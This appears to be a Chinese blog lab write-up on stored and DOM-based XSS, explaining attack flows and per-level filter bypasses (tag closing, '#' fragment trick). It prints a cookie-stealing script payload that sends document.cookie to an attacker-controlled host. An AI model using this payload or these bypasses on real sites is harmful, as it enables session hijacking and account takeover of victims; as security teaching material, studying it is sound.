DOM型XSS 和存储型XSS

最新推荐文章于 2023-06-27 14:41:12 发布

weixin_46429206

最新推荐文章于 2023-06-27 14:41:12 发布

阅读量352

点赞数

文章标签： xss javascript 信息安全

本文链接：https://blog.csdn.net/weixin_46429206/article/details/121705880

版权

存储型原理图及原理
弹窗：
在这里插入图片描述

原理：1、攻击者向服务器提交一段js代码
2、服务器保存js代码并将结果返回给攻击者
3、受害者访问服务器
4、服务器将js代码传给受害者，受害者电脑出现弹窗

Cookie：
在这里插入图片描述

原理：1、攻击者向服务器提交一段js代码
2、服务器保存js代码并将结果返回给攻击者
3、受害者访问服务器
4、服务器将js代码传给受害者
5、受害者电脑将cookie值发送给攻击者

重定向：
在这里插入图片描述

原理：1、攻击者向服务器提交一段js代码
2、服务器保存js代码并将结果返回给攻击者
3、受害者访问服务器
4、服务器将js代码传给受害者
5、受害者电脑自动跳转到攻击者指定的网页

DOM型 XSS
低
源码没有限制，在搜索框中修改值即可
弹窗：
在这里插入图片描述

Cookie：

<script>var img=document.createElement(‘img’);img.src=’http://192.168.116.161:88/log?’+escape(document.cookie);</script>

在这里插入图片描述

重定向：

在这里插入图片描述

中
源码对script进行了过滤
在这里插入图片描述

因此我们需要提前闭合标签
弹窗：
在这里插入图片描述

Cookie：

在这里插入图片描述

高
源码对非默认语言全部默认为英语
在这里插入图片描述

这里我们需要用到#绕过，作用就是#后面的内容不提交给服务器。其余步骤与低级一样
在这里插入图片描述

关注